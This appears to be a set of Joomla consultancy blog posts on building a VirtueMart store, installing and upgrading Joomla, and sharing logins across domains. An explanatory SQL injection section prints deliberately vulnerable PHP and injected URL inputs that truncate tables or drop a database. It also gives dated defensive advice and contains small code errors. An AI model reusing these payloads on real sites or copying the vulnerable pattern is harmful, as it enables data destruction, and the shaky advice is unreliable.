We got a call yesterday from a potential client telling us that he wants to create an E-Commerce website and he heard that he can easily do that with Joomla. He wanted to do the job by himself and so he asked us if we can explain for him the process from scratch. And so we did…

Here’s a step-by-step easy-to-read guide on how to create an E-Commerce website from scratch (and for free!) in Joomla:

Step 0 – Purchase a domain name

A domain name is your brand on the Internet. A domain name is something like google.com, joomla.org, itoctopus.com, etc…

The domain name must be indicative of your business, especially if you’re not a big company. For example, if you’re selling canes in Florida, then your domain name must be something like floridacanes.com. A good domain name will help you a long way in your SEO.

In our opinion (and in the opinion of many) the cheapest place and the best place to buy domains is GoDaddy.com . To buy your domain name, just point your browser to GoDaddy.com, search for your domain name (to see if it’s available or not – if it’s not available then don’t despair, try to think of another name until you find one that it’s available), and then purchase it.

Congratulations, now you own a domain name! The very first step in creating your online store with Joomla!

Step 1 – Purchase a hosting package

As humans, we need homes to live in. Think about the hosting as the home of your website, where all your data (files and database) is located. Hosting is a separate service that need to be purchased. We do offer hosting at itoctopus, but only for our clients. If you’re not one of our clients and you do not intend to be, then you can search for hosting packages on Google (just google hosting packages). Be very careful with choosing your hosting company as there are many bad hosting companies out there that only care about your money, and not your business. A word of advice: Don’t go for a hosting plan that might sound too good to be true. (very cheap, unlimited everything, etc…)

Once you purchase a hosting company, you will need to go back to GoDaddy to the domain management tool, and change the name servers of your domain to point to your new hosting company. Usually your hosting company will send you the name servers in your welcome email. Keep in mind that name servers will take some time to propagate, sometimes up to 48 hours. (Note: GoDaddy support will be able to help you change your name servers – failing that you can always call us!)

Step 2 – Download Joomla

At the time of writing this article, the latest version of Joomla is 2.5.2 (which was a security fix that was released today). You can download it by going to http://www.joomla.org/download.html and then by clicking on the ZIP link next to Full Package (the first Full Package entry from the top).

Step 3 – Upload Joomla

Now that you have downloaded Joomla, you have to upload it to your hosting account. You do this by extracting Joomla locally and then FTPing the Joomla source files to your hosting account. If this is your only website with that hosting company then you should FTP it to public_html. Alternatively, a faster way of doing this is by going to the cPanel of your hosting account, and then going to File Manager, and then uploading the Joomla zip file, and then extracting it under the public_html directory.

Step 4 – Create the database

Once you have uploaded Joomla to the server, you will need to create the database where all of your website’s data will be stored. You can create the database by going to the cPanel of your hosting account again, and then by clicking on the MySQL Database Wizard under Databases, and then following the instructions. Store the database name, the username, and the password in a safe place. You will need them later.

Step 5 – Configure Joomla

Now point your browser to the URL of your website (which is http://www.floridacanes.com). You will be asked to configure Joomla. We have described this whole process here. Please note that you should leave localhost as host name in case you’re not using GoDaddy as your hosting provider.

Step 6 – Download a template

Congratulations, you now have a working website! Now all you need to do is to find a suitable template and download it. A simple search on Google for “joomla cane templates” for our cane website example will most likely reveal templates directly aimed at businesses selling canes (well, realistically it won’t, as this is a very small niche, so you might need to hire a designer or modify one of the existing templates to match your theme). You might find free and paid templates – paid Joomla templates are very cheap: most likely they will cost you less than $100. It’s also not hard to find a free Joomla template that is suitable for your business.

Once you find a suitable template, download it to your machine.

Step 7 – Install the template

If you’re using Joomla 2.5.x, then you can install the template the following way:

  • Login to your Joomla control panel using “admin” as username and the passwrod you have entered in Step 5.
  • Click on Extensions -> Extension Manager.
  • Browse to locate the template that you have downloaded in the previous step, and then click on Upload & Install.

Now that the template is installed, you can make some changes to the main banner and to other components of the template. Make sure you read the manual that came with your Joomla template to know which extensions you need to download to make it look like the one in the demo. If you have any problem with your template, then see “My Joomla Template Is Not Working!“.

Once the template is properly installed, you should make it the default template by going to Extensions -> Template Manager, clicking on the name of the template, choosing All next to Default, and finally clicking on Save on the top right.

Step 8 – Create the basic pages

In this step, you create the basic pages such as the homepage, the about us page, the contact us page, etc… The creation of these pages is simple and straightforward. If you need help in that area you can always call us!

Step 9 – Download VirtueMart

At this point, you have a fully working website, but you still don’t have a store. You need to create a store, and the best way to do it is to download and install VirtueMart. VirtueMart is a Joomla extension and can be downloaded for free at http://virtuemart.net/downloads. The current VirtueMart version is 2.0.2 and it’s compatible with the latest version of Joomla.

Step 10 – Install VirtueMart

VirtueMart can be installed the same way that you have installed the template. You just go to the Extensions Manager, locate the VirtueMart download on your machine, and then upload it. Once you upload it, VirtueMart will be installed automatically.

Step 11 – Configure your store

Now you have a store, but you just don’t have any products in your store. Go to Components -> VirtueMart in your Joomla control panel, and setup your store. You need to do the following:

  • Create the main settings of your store: Payment options (you can easily create a PayPal account and make the store point to your PayPal account, so when people purchase from you, they will send money to your PayPal account), shipping options, notifications, etc…
  • Create the categories: The categories encapsulate your products. For example, in our canes example, we might have a category called Accessories.

  • Add your products: Now you need to add your products. You should add the name, the description, and the price of your products. In case of downloadable content, you need to upload the files that will be downloaded by your customers.

Step 12 – Link to your store

Create a menu item that will link to your VirtueMart store. Just go to Menus -> Main Menu (in your Joomla control panel) and click on New on the top right to add a new menu item, and then in Menu Item Type, choose VirtueMart.

Step 13 – Your store is now open!

Congratulations, your store is now open for business! You can now sell your products or services online!

We understand that the above can be a bit intimidating, and that’s why we’re here to help. We can help you create your online store from scratch, just let us know the nature of your business and we’ll take care of the rest. This will take us about 2-3 days (16-24 hours) of work (see our very reasonable rates to calculate how much it’ll cost you).

How to Prevent SQL Injection in Joomla

SQL Injection is the most dangerous hacking techniques out there. With SQL injection, a malicious attack can drop you a table or even a whole database in a few seconds and with a very simply command through your website. In this day and age, it is unacceptable for any website to have a SQL injection vulnerability, since security experts have been warning about SQL injection for at least a decade now – and, addressing SQL injection is a well known and well documented process.

How does SQL injection happen?

Let’s say you have the following page on your website: http://www.yourjooomlawebsite.com?userid=5. This page displays the information about the user on your website with an id = 5. Somewhere in the page displaying your website, you have this code:


$user_id = $_GET['user_id'];
$db =& JFactory::getDBO();
$db =& JFactory::getDBO();
$sql = "SELECT * FROM jos_users WHERE user_id='".$user_id."'";
$user_information = $db->Execute();

Now, when the id is 5, then the query above will be:

SELECT * FROM jos_users WHERE user_id='5'

The above is OK, and it’ll work. But an unscrupulous visitor might change your URL to the following: http://www.yourjooomlawebsite.com?userid=5′; TRUNCATE TABLE jos_users–

Here’s what will happen in the above case:

  • The query will become SELECT * FROM jos_users WHERE user_id='5'; TRUNCATE TABLE jos_users--' – which means that instead of having one query, we have now two queries.
  • The first query is executed, and the information about the user with id equals to 5 is stored in the memory.
  • The second query, TRUNCATE TABLE jos_users is executed. This query will delete your users table!
  • The -- is the comment syntax in MySQL, and thus everything after it will be ignored. This means that the apostrophe will be considered as a comment and will be silently ignored. This prevents MySQL from generating an error because of the apostrophe and ensures that the malicious SQL query will run smoothly.

Now, of course, the above URL can do far more damage if it’s something like http://www.yourjooomlawebsite.com?userid=5′; DROP DATABASE yourjoomladatabasename–. This URL will delete your whole database!

I think after reading the above it’s easy to realize how much damage can someone do to your website with very little effort!

Where does SQL Injection happen?

The core Joomla installation of any of the recent versions: 1.5.25 and 2.5.1 doesn’t have any SQL injection problem (some versions prior to these versions may have SQL injection problems) – so if you install the latest version of Joomla on your website and only use the official extensions, you’re safe. However, once you start installing 3rd party extensions (which is usually the case for any Joomla website administrator), then you might start running into security issues. The thing is, the Joomla engine tries its best to secure the bad code in 3rd party extensions – however, it’s not always successful at this task, especially if the code is really, really bad like the code above.

How can you protect your Joomla website from SQL injection?

There are several things that you should do in order to protect your Joomla website from SQL injection – these things must be done at the MySQL level, the PHP engine level, and the code level:

  1. Things to be done at the MySQL level to prevent SQL injection:
    • Disable comments. This alone will prevent the above malicious SQL from running as its syntax becomes wrong (because of the quote).

    • Do not give DROP and TRUNCATE permissions to the Joomla MySQL user. This is a good practice but may cause problems for you when you uninstall an extension that creates its own tables (the uninstall process of the extension will not deal the associated tables).
  2. Things to be done at the PHP engine level to prevent SQL injection:

    There is only one thing to be done at the PHP engine level to prevent SQL injection, and it is to make sure that the flag magic_quotes is set to “on” in your php.ini file. Magic quotes escape user input automatically by adding slashes to quotes. Note that as of PHP 5.4.0, this flag has been deprecated which means that a lot of previously thought secure code running under earlier versions of PHP will no longer be secure under new versions of PHP.

  3. Things to be done at the code level to prevent SQL injection:

    • Never, ever trust user input. Always work with the mindset that user input is bad.
    • Use the Joomla static function JRequest::getVar($variable_name, $default_value, $value_type, $mask); instead of accessing request variables directly through $_GET and $_POST. For example, if you want to access the above variable, you write the following code:

      $user_id= JRequest::getVar($user_id, 0, '', 'INT');

      By using this function to access request variables, you will ensure that all user data is filtered before it’s used somewhere else (such as in SQL queries).

    • Use eval functions very, very carefully – especially when you’re evaluating user input.

    • Strip the words eval and call_user_func from user input. This is an added security measure in case you have a security hole in your code that you are not aware of.

Doing the above will ensure that your visitors are not able to break your Joomla website by injecting malicious SQL into your code. We also suggest that you read these security tips to enhance the security of your Joomla website.

If you don’t have the technical skills to do the above, then worry not. We’re here to help. Just contact us and we’ll ensure that your website becomes safe from SQL injection. By the way, our fees are very reasonable!

How to Delete All Products from VirtueMart?

Warning: This post is about removing content from your database, specifically your VirtueMart e-commerce/store tables. If this is not what you want then please stop reading now. itoctopus claims no responsibility (neither explicit nor implicit) whatsoever if you accidentally remove data that you later need.

Before you begin you need to download a backup and make a copy of your whole Joomla database, including your VirtueMart tables (we know that a backup is sufficient, but the copy will expedite the reversal of errors should your website becomes inoperable because of an accidental deletion of a system table for example):

Download a backup your Joomla database

The first thing to do is to download a backup of your Joomla database to your local machine. This can be easily done from cPanel (if you don’t have cPanel then ask your hosting company to do the backup for you):

  • Login to your cPanel account. You can usually do so by going to http://yourjoomlawebsite.com/cpanel or http://yourjoomlawebsite.com:2083 and enter the login credentials supplied to you by your web hosting company.
  • Once you’re logged in to cPanel, you should click on Backups (under Files), click the name of your database under Partial BackupsDownload a MySQL Database Backup, and then wait for your database to be downloaded.

Copy Your Joomla Database

Copying your Joomla database is an extra security measure in case something goes wrong. When you have an immediate copy of your Joomla database, then you can just rename the original database to something like myjoomladatabse_old and rename the copy to myjoomladatabase and everything will work as before.

Here’s what you should do to make the copy:

  • Login to your cPanel account as described above and then click on the phpMyAdmin icon under Databases.
  • You should now be logged in automatically to phpMyAdmin. The next thing to do is to click on your database name, and then click on Operations on the top right, and then under Copy Database to: enter the name of the database copy, which should be something like yourjoomladatabase2 (where yourjoomladatabase stands for the current name of the database), and then click on Go. The process may take some time in case you have a lot of data on your website. Once the copy process is done, you will see something like Database yourjoomladatabase has been copied to yourjoomladatabase2.

Now that you’ve done the above, you can go ahead with the deletion of all your products in your VirtueMart store. Here’s how it should be done:

  • Go to phpMyAdmin (the process of going to phpMyAdmin has already been described above)
  • Click on the name of the database of your Joomla website. In our example, the name of this database is yourjoomladatabase.

Now there are two methods for deleting your data, Method #1 and Method #2. Method #1 takes more time but is non-technical, Method #2 can be done in a significantly shorter time but is a bit more technical:

  • Method #1: Click on the name of your Joomla database in phpMyAdmin, and then click on the Empty icon next to the table jos_vm_product. This will delete all the products in your database. You should also do the same for the following tables:
    • jos_vm_product_attribute
    • jos_vm_product_attribute_sku
    • jos_vm_product_category_xref
    • jos_vm_product_discount
    • jos_vm_product_download
    • jos_vm_product_files
    • jos_vm_product_mf_xref
    • jos_vm_product_price
    • jos_vm_product_product_type_xref
    • jos_vm_product_relations
    • jos_vm_product_reviews
    • jos_vm_product_type
    • jos_vm_product_type_parameter
    • jos_vm_product_votes

    The above tables hold information that relates to your existing products. Not deleting them will cause confusion with VirtueMart in case you decide to add products to your VirtueMart store again.

  • Method #2: Click on the name of your Joomla database in phpMyAdmin and copy the following code:

    TRUNCATE TABLE `jos_vm_product`;
    TRUNCATE TABLE `jos_vm_product_attribute`;
    TRUNCATE TABLE `jos_vm_product_attribute_sku`;
    TRUNCATE TABLE `jos_vm_product_category_xref`;
    TRUNCATE TABLE `jos_vm_product_discount`;
    TRUNCATE TABLE `jos_vm_product_download`;
    TRUNCATE TABLE `jos_vm_product_files`;
    TRUNCATE TABLE `jos_vm_product_mf_xref`;
    TRUNCATE TABLE `jos_vm_product_price`;
    TRUNCATE TABLE `jos_vm_product_product_type_xref`;
    TRUNCATE TABLE `jos_vm_product_relations`;
    TRUNCATE TABLE `jos_vm_product_reviews`;
    TRUNCATE TABLE `jos_vm_product_type`;
    TRUNCATE TABLE `jos_vm_product_type_parameter`;
    TRUNCATE TABLE `jos_vm_product_votes`;

    and then click on SQL on the top of phpMyAdmin (while you’re in the same database), and then paste the code above, and then click on Go. This will delete all the tables in one shot (instead of you clicking on the Empty button next to each and every table).

  • Now that you’ve deleted the products from the database, you will also need to delete the images associated with these products. We suggest that you only proceed with this after downloading a full backup of your website. Once that is done, you will need to login through FTP to your website, and then delete the product folder located under /public_html/components/com_virtuemart/shop_image/. A more expedient way of doing this is logging in to cPanel, and then clicking on File Manager under Files (on the cPanel homepage), and then deleting the /public_html/components/com_virtuemart/shop_image/product/ folder

Now if you want to delete all your products from your VirtueMart store and you feel that the above is a bit too technical, then we’ll be happy to do it for you. All you need to do is to contact us. We’ll take care of this in no time and at very low cost.

How to Upgrade from Joomla 1.0.0 to Joomla 2.5.1

Yesterday, we worked on a website that was using Joomla 1.0.0. The owner of the website had three problems:

  • Problem #1: The website was displaying “Your are not authorized to view this resource” on the homepage. Well, it wasn’t technically the homepage, as the website had a flash introduction that was redirecting to an article on the website. The cause of the problem was that the article the flash introduction was redirecting to was unpublished. We solved the problem by publishing the article again.
  • Problem #2: Every page on his website was displaying the following warning (no content was displayed – just this warning): “Warning: Parameter 1 to HTML_content::show() expected to be a reference, value given in /public_html/includes/Cache/Lite/Function.php on line 92”. The cause of this problem was because Joomla 1.0.0 is incompatible with PHP 5.3 and above. We fixed the problem by changing going to the Function.php file, and changing every instance of $arguments in the parameters of the function call_user_func_array to &$arguments.

  • Problem # 3: The contact us page had the following error: “Fatal error: Cannot redeclare quoted_printable_encode() in /public_html/includes/vcard.class.php on line 37”. The cause of this problem is that the function quoted_printable_encode is now included in PHP (versions equal or above 5.3.0) so it was being redefined in the code. We solved the problem by commenting out the function (you can also solve it by changing the name of the function to quoted_printable_encode2) in the vcard.class.php file.

Needless to say, all these problems happened following the upgrade of PHP on the server where our client’s website resides. Although the PHP upgrade directly caused these problems, it was definitely the right thing to do. The PHP version that was installed before was really old and the server needed to support newer applications – regardless of whether this upgrade causes very old applications to break (we suspect that’s the reason why GoDaddy still has a very old version of PHP on some of its old servers that does not support Joomla 1.7 and Joomla 2.5.1 – GoDaddy just doesn’t want to break old websites that are hosted on its servers)

In any case, we recommended our client to upgrade to the latest version of Joomla because of the following reasons:

  1. Joomla 1.0.0 is no longer supported: Joomla 1.0.0 was released nearly 7 years ago (back in September of 2005) and its official support was discontinued many, many years ago.
  2. Joomla 1.0.0 has many security holes that were addressed in later versions of Joomla. Joomla 1.0.0 was the developers’ first take at customer management systems (well, more or less, since most of these developers were working on Mambo before).

  3. Joomla 1.0.0 will not work on new servers. This is because it suffers from compatibility problems with newer versions of PHP and MySQL (MySQL compatibility problems are common in very old Joomla extensions).

  4. The administrator will be missing on all the latest extensions when using Joomla 1.0.0. This is because all the current extensions are mainly written for Joomla 1.5 and up.

  5. Non-official support is scarce for very old versions of Joomla. While we, at itoctopus, support every version of Joomla, most of our competitors don’t. Which means that it’s really hard to get support when you have a very old Joomla website.

Our client then emailed us back asking about the process involved in upgrading from Joomla 1.0.0 to Joomla 2.5.1 and how much time it’ll take. So we explained the process the following way:

  • We will need to upgrade through hops – e.g. upgrade from Joomla 1.0.0 to Joomla 1.0.3 to Joomla 1.0.13, etc… And at every hop we need to test the website, make sure that everything is working properly, fix any bugs, re-test the website, backup the website, and then do the next upgrade.
  • We will have many hops to move from Joomla 1.0.0 to Joomla 1.5.25.

  • We will definitely be faced by the challenges that some (if not all) of the 3rd party extensions will no longer work and we need to fix them.

  • We will be faced by the problem that some of the content will not be migrated properly – especially content generated by 3rd party extensions, and we will need to migrate that content manually.

  • Once we reach Joomla 1.5.25, we can then migrate directly to Joomla 2.5.1

Of course, the time it takes to migrate from Joomla 1.0.0 to Joomla 2.5.1 depends on the number of 3rd party extensions and the amount of data your website has. Generally, the process takes anything between 12 hours and 2 days.

If you have a Joomla 1.0.0 then we strongly advise that you update it the latest version of Joomla. Your website may soon encounter problems with your hosting environment (especially if you’re on shared hosting), is prone to security attacks, and you’ll be missing on the myriad of Joomla extensions out there. We can help you do this, just contact us and we’ll take it from there! We are fast, we are efficient, we care about your business, and our rates are very affordable! What are you waiting for?

Is Your Joomla Article Not Updating?

We receive a call every other day from new clients telling us that one of their Joomla articles is not updating: They can see the updates in the backend, but the frontend does not show the updates. In most cases, there are three simple reasons behind this:

  1. The article is retrieved from the cache: When caching is used, then updates to your Joomla article will not appear because the article’s page or parts of the article’s page will be retrieved from the cache. Solving the problem requires you to clear the cache. We have written about this problem and how to solve it here.
  2. You are updating the wrong article: Sometimes, you can be so focused on seeing immediate results on your website that it’s possible to oversee very obvious mistakes, such as updating the wrong article. This often happens when you have articles that have very similar titles, of if you’re updating an older version of the article.

  3. You are updating a category that has the same name: In Joomla 1.7 and up, categories and articles are often mixed up. Just make sure that you’re not updating a category that has the same name of your article.

If you have cleared your cache and made sure that you are editing the right article, then you might have a different problem. Please contact us and we’ll be more than happy to solve it for you. This work will take us a maximum of 1 hour and our fees are very reasonable!

How to Install Joomla on GoDaddy

A large percentage of our Joomla clients have their websites hosted with GoDaddy (GoDaddy is a very convenient hosting for many of our customers because this is where they bought their domains from), so we thought that writing a comprehensive and detailed post on how to manually install Joomla on a GoDaddy hosting would be beneficial for many people out there. Following is a step-by-step process, on how you can go about doing that.

Step 0: Download Joomla

Although this is not part of the Joomla installation process on GoDaddy, you will need to download Joomla. You can do this by going to http://www.joomla.org/download/ and download the Joomla zip file. You can download either Joomla 2.5.1 or Joomla 1.5.25 at the time of writing this article. In our example, we will choose to download and install Joomla 1.5.25 (Joomla 1.7 and Joomla 2.5.1 will not work on some GoDaddy servers, we have written an addendum at the end of the article explaining why). The download should take about 10-15 seconds on a high speed connection. Take note of of the location of the newly downloaded file. By default, the newly downloaded file will be called Joomla_1.5.25-stable-Full_Package.zip and should be located in your downloads directory.

Step 1: Access Your Hosting Control Panel with GoDaddy

The first thing that you need to do is to access your hosting control panel with GoDaddy. First you need to login, and then you need to launch the Hosting Dashboard:

  • Login to your GoDaddy account by going to www.godaddy.com and filling in your username and password on the very top of the page.
  • Once Logged in, click on My Account (located on the far right of the upper menu, next to Auctions), then click on Web Hosting (located in the middle of the page), and then click on the green button that says “Launch”.

  • An alternative way of doing the above step is by hovering your mouse above Hosting and Servers on the top menu (next to Domains) and then clicking on Hosting Management, and then clicking on the green Launch button (which is located next to the Web Hosting account, and not next to Domains).

Note that you can install Joomla automatically on GoDaddy by clicking on the Joomla icon under Application. But if you do this GoDaddy will create a random database name and will choose for you a Joomla version that you may or may not want.

Step 2: Create the Database

Once you’re logged in to the Hosting Dashboard, the first thing that you need to do is to create the database, which can be done the following way:

  • Click on Databases (Databases is located between Content and Statistics)
  • Click on MySQL. This will take you to a page listing all your already created MySQL databases (if you have any). In this page, you will be able to create a new database.

  • Click on Create Database on the top right. This will take you to the database creation form.

  • Now That you are redirected to the database creation form, you will need to fill in the first four fields (ignore the last 3):

    • Description: This is the description of the database. It should be something like nameofyourjoomlawebsite. For example, if your website’s URL is mycheapbulbs.com, then fill in mycheapbulbs in the description. As we will later discover, the database description is the same as the database name.
    • MySQL Database/User Name: This is the name of the user that will be accessing your database. For simplicity reasons, we advise you to make the username the same as your domain name. Assuming your domain name is mycheapbulbs, then choose mycheapbulbs as the username.

    • New Password: This is the password of the user accessing your website.The password should consist of upper and lowercase characters and should contain numbers. Try to make the password 8-10 characters long. An example of a good password is: x4Lo0iqbUY.

    • Confirm Password: This is a confirmation of the previous password. In this field, you need to re-enter the password that you have already entered above. In our example, it’ll be x4Lo0iqbUY.

  • Once you have filled the first four fields, you will need to click on OK. You will be redirected to the previous page, and you will see your newly created database, and next to it you will see Pending Setup (under Status). Now you have to wait for a few minutes (GoDaddy seems to have a CRON job that runs every few minutes that creates all the databases). After a few minutes, you can refresh the page, and you will see that the Status has changed to Setup.

  • Setup means that your database is already created. Make sure that you have stored, in a safe place, the password entered above. Now while you are on the page titled MySQL (where you see the word Setup next to your database name), click on the pencil next to Setup. Clicking on the pencil will take you to a page where you’ll be able to find some important information about your database (that you will need later), which is the Host Name (which is something like p44mysql112.secureserver.net), the Database Name (which is the same as the database description), and the User Name. Copy and paste this information in the same place where you have already stored the password for this database. You will need this information during the installation of Joomla.

We have now finished creating the database – the next step is to copy all the Joomla files to our hosting account on GoDaddy.

Step 3: Copy the Joomla Files

Assuming that you have remained on the same page (where the information about the database is displayed), click on Home on the top left, and then follow the below guide (note that you can skip the first 2 steps if you have already created your domain):

  • Click on Domains on the top center (next to FTP File Manager), and then click on Add Domain on the top right.
  • In the popup window, click on Bulk (on the top), and then click on the name of your domain (which is MYCHEAPBULBS.COM in our example). The name of your domain should turn to blue once you click on it. Now click on the arrow pointing to the right, and then your domain should be displayed under Domains to Add. Under folder, you will need to enter your full domain name, so, in our example, we should enter /mycheapbulbs.com (Notice the necessary forward slash “/” at the beginning of the domain name). Now click on OK (the yellow button on the bottom right of the popup form). You will be redirected back to the page that lists all your domains, and the Status of the your newly added domain will be Pending. Wait a few minutes.

  • Refresh the page in a few minutes, and the Status should be changed to Setup. We are now ready to copy the Joomla files into our newly created domain.

  • Now click on Home on the top right and then click on FTP File Manager. This will take you to an interface where you can manipulate your files and upload files to your website.

  • Click on the name of your domain under Filename. In our example, we should click on mycheapbulbs.com. This will take us to an empty directory. Now we need to upload the Joomla folder there.

  • Click on the Upload button on the top menu (the Upload button is located just above Refresh List), and then click on Browse, and then choose the Joomla installation file that we have already downloaded in Step 0 above. Click on Open on the Windows popup browse menu, and then when you see the name of your Joomla zip file under Upload File(s) in the GoDaddy interface, click on Upload. The upload will take a minute or two depending on your Internet speed. You can see the progress of the upload on the middle right (below Overwrite files). Once the upload is finished, you will see the message 1 of 1 files completed. We have now uploaded the Joomla zip file to our website, we now need to extract it.

  • Click on Cancel on the middle right of the screen (next to the yellow button OK) in order to hide the upload interface (we don’t need it anymore. Now click on the checkbox next to your Joomla zip file (which is Joomla_1.5.25-Stable-Full_Package.zip in our example), and then click on the Unarchive button on the top menu. Leave the destination as is and just click on OK (the yellow button on the middle right of the screen). Now wait a few seconds until the page refreshes and you should see all the Joomla folders (you will see the following folders: administrator, cache, cli, etc…). We have now finished copying the Joomla files on our GoDaddy hosting account. Our next step is to configure Joomla!

Step 4: Configure Joomla

Now we need to configure Joomla. Start by pointing your browser to http://mycheapbulbs.com/ and follow the below:

  • First choose the default language (for our example, we will choose English (US)), and then click on Next on the top right.
  • Now the next page consists of a pre-installation check – the pre-installation check will check that you have the minimum server requirements and the necessary modules to install Joomla (PHP version higher than 4.3.10, zlib, xml, and MySQL are all supported, and the configuration.php is writable). All GoDaddy servers meet the minimum requirements for Joomla 1.5.25. Click on Next on the top right.

  • The next page consists of the Joomla license. Clicking on Next means that you have agreed to the license. (You will need to agree to the license in order to proceed with the installation)

  • Now in this page you need to enter the MySQL information that you have stored earlier in a safe file. First enter the host name (which is something like p44mysql112.secureserver.net), and then the database name, which is mycheapbulbs in our example, and then the password, and then the database name, which is also mycheapbulbs in our example. Once you’ve filled in all the information, click on Next on the top right. (If you see an error like Unable to connect to the database:Could not connect to MySQL, then you most likely have made a mistake somewhere. Click on Previous on the top left and re-enter the information.)

  • Now you’re taken to the FTP Configuration page, just click on Next on the top right. (You can set the FTP information later, and you don’t need it for the basic installation of Joomla).

  • Now you’re taken to the Main Configuration page – on this page you will need to enter the name of your website (My Cheap Bulbs in our example), you will also need to enter your email, and the password of the main super-administrator to your website. Click on Next. Do not install any sample data when you are prompted to.

  • Now go back to GoDaddy’s FTP File Manager and delete the installation directory (just click on the checkbox next to it and click on Delete on the top right and then click on OK.

  • Congratulations! You have finished installing Joomla on GoDaddy. You can now edit your website by going to http://www.mycheapbulbs.com/administrator and entering admin as username, and the password entered above as your password.

We know that Joomla’s installation can be a daunting task – so if you’re having problems with installing Joomla on GoDaddy then please contact us. We are here to help and our rates are adequate for your budget!

Addendum: Why Your GoDaddy’s Hosting Is Not Compatible with Joomla 2.5.1 (or Joomla 1.7)

If you try to install Joomla 2.5.1 on your GoDaddy hosting account, you may see the following error:

Parse error: syntax error, unexpected ‘=’, expecting ‘(‘ in /home/content/y/o/u/yourgodaddyusername/html/mycheapbulbs.com/includes/framework.php on line 42

In order to fix the above issue, you can go to the GoDaddy FTP File Manager and then click on the includes folder, and then click on the checkbox next to framework.php, and then click on Edit on the middle top menu. Once you’re in edit mode you should search for this line:

JError::$legacy = true;

and replace it with this line:

//JError::$legacy = true;

Click on the Save icon on the top left (it resembles a floppy disk), and then click on the close the file by clicking on the close icon on the top right.

Unfortunately, when you try to access the website right now, you will see yet another error that looks like this:

Parse error: syntax error, unexpected ‘=’, expecting ‘(‘ in /home/content/y/o/u/yourgodaddyusername/html/mycheapbulbs.com/installation/index.php on line 66

This means that there is another file that you need to fix. So open the installation folder, and then edit the index.php file, Search for this line:

JError::$legacy = true;

and replace it with this line:

//JError::$legacy = true;

Now save the file and close it (the same way you saved and closed the framework.php file). Refresh your website and you will see this error: Your host needs to use PHP 5.2.4 or higher to run Joomla 1.7. Unfortunately, some hosting servers on GoDaddy run PHP Version 4.4.9. This is why Joomla 1.7 or Joomla 2.5.x will not work on GoDaddy, at least at the current time. GoDaddy’s PHP version for these servers is much lower than the minimum requirements. The solution to this problem is to tell GoDaddy to move you to a more recent server, or to move to another hosting company altogether.

How to Migrate Cookies Across Domains in Joomla

Let’s say that you own two Joomla websites, and you want to unify the login for these sites – in other words, whenever someone is logged in to one site, then you want him to be automatically logged in to the other. The process of unifying login across multiple is called “cookie migration”, and is done by many large companies, such as Google, Yahoo, and others. Generally, companies do the cookie migration if they want their users to be logged in to a subdomain as well as to the main domain (for example, you might want your users to be automatically logged in to store.yourjoomlawebsite.com if they’re already logged in to yourjoomlawebsite.com) or if they want their users to be logged in to a regional website when they’re logged in to the main website (for example, you might want your users to be automatically logged in to yourjoomlwebsiteusa.com if they’re already logged in to yourjoomlawebsite.com).

Of course, for those with no-technical experience, the above might seem like a trivial task. But any programmer can tell you that the above is a daunting task! We did it ourselves several times and we can say that it’s not an easy task!

There are several methods to do the cookie migration across multiple domains, and each method has its pros and cons…

Method #1: Pass a unique hash in the URL

This method consists of passing a unique hash in the URL that will tell the server that this person is already logged in on the first domain, so you need to log him in on the second domain. The way to do this is by creating a field called hash in the jos_session table, setting the hash to a unique string (using md5() and microtime()), and then adding the hash to the URLs linking to the other site if the user is not already logged in there. When the user clicks on any URL pointing to the other site, then a hash-check is made, and the user will be automatically logged in on the other site (there will be a script that handles this login on the other website based on the hash).

Pros

  • Easy to implement: This method will only take about 8 hours to implement.
  • Easy to understand: The logic behind this method is very straightforward.

Cons

  • Both websites have to share the same server (if not the same database): At one point, the hash-based login script will need to check the table of the other website to see if that hash exists or not, and if the user is logged in or not. If the database of the first website is not accessible by the second website, then the check will fail, and the migration will not happen.
  • Not very secure: The hash can be considered as a mixture of the username and password of the user in just one string. If that hash is stolen while the user is logged in (in one way or another), then the “cookie thief” will be able to login using the hash from another computer (without even knowing the username and password).

  • Not elegant: Imagine having 32 or 64 of meaningless characters in every URL of your website. We don’t think that’s very elegant!

Method #2: Use client-side and server-side code to set the cookie on the other website

Since both websites are under your control, then you can use HTML/PHP code in order to set the cookie on your other Joomla website. So, the first time the person logs in to the first website, you can add the following code:

<img src="http://www.yourotherjoomlawebsite.com/setcookie.php?cookie=same_cookie">

The above code calls the setcoookie.php file on your other website, this file will ensure that your other website is able to share the cookie with the first website. Again, this method has pros and cons…

Pros

  • Elegant: This method is elegant as you don’t have to deal with ugly URLs and you don’t have to change links across the board on your website(s).
  • Fast to deploy: Once the setcookie.php file is created, then you can deploy it on as many websites as you want, and they’ll be able to share the login. Adding the setcookie.php code (with the img src=…) can be easily done using a Jumi module.

Cons

  • Still the same problem with database accessibility: The database where the session information is stored must be accessible by all websites that want to share the same login. This means that it’ll be really hard to unify the login when the websites do not share the same database or worse, do no share the same server!
  • Might be open to security issues: Having a file that is responsible for setting cookies can open up a whole can of worms when it comes to website security – even if the file itself is very secure.

  • Might be blocked by the browser: Some browser settings will not allow PHP code from remote websites to be executed as part of the HTML.

Method #3 – Logging in the user to multiple websites at the same time

This method is probably the best one, because it overcomes the database limitation. This method requires (similarly to the first method) editing a core Joomla file, which is controller.php, located under /yourjoomlawebsite/components/com_user. The programmer has to “post” the username and password to the other website(s) immediately after the following lines:

if(!JError::isError($error))
{

So, whenever someone logs in to one website, he’s automatically logged in to all other websites, and then redirected back to the website he initially logged in from.

Pros

  • By far the most elegant and efficient solution to unifying the login: This method doesn’t suffer from database limitations – the websites can be anywhere – the only thing that needs to be shared between these websites is the users tables (which can be synced in many ways – even if these websites reside on completely different servers). Additionally, the user is actually being logged in to all these sites (but the system is doing it for him behind the scenes) – there is no hack used to do this.
  • Simple concept: The concept of this method is simple, we are logging in the user to all the websites once he logs in to one.

Cons

  • The most complicated method of all: While it’s the most elegant method, it’s also the most complicated method. Let’s say that we have 3 websites that we need to automatically login the user to once he logs in to one of them. So, the user logs in to Website A, which posts the login information to Website B, which then posts the login information to Website C. But, what should Website C do? Should it post the login information again to Website B that should the same information (again) to Website C? When to stop? Obviously, this method if done carelessly can lead to an infinite redirection between sites – which will eventually crash the server(s).
  • Requires the modification of core Joomla files: What if you want to upgrade your Joomla website? The modifications done on some of your core Joomla files may be overwritten by the upgrade, or, even worse, they may conflict with your upgrade.

  • It’s not really cookie migration: What we’re doing here is that we’re forcing login on every website (which may be a sub-domain or a totally different domain), we’re not migrating the cookies and we’re not even looking at the cookies.

  • Will only work if the users’ data is identical: This method can only work when the users’ data on all sites is identical. So this means that while this method works if the websites do not share the same database, it will not work at all if the users’ usernames and passwords are not identical on all websites.

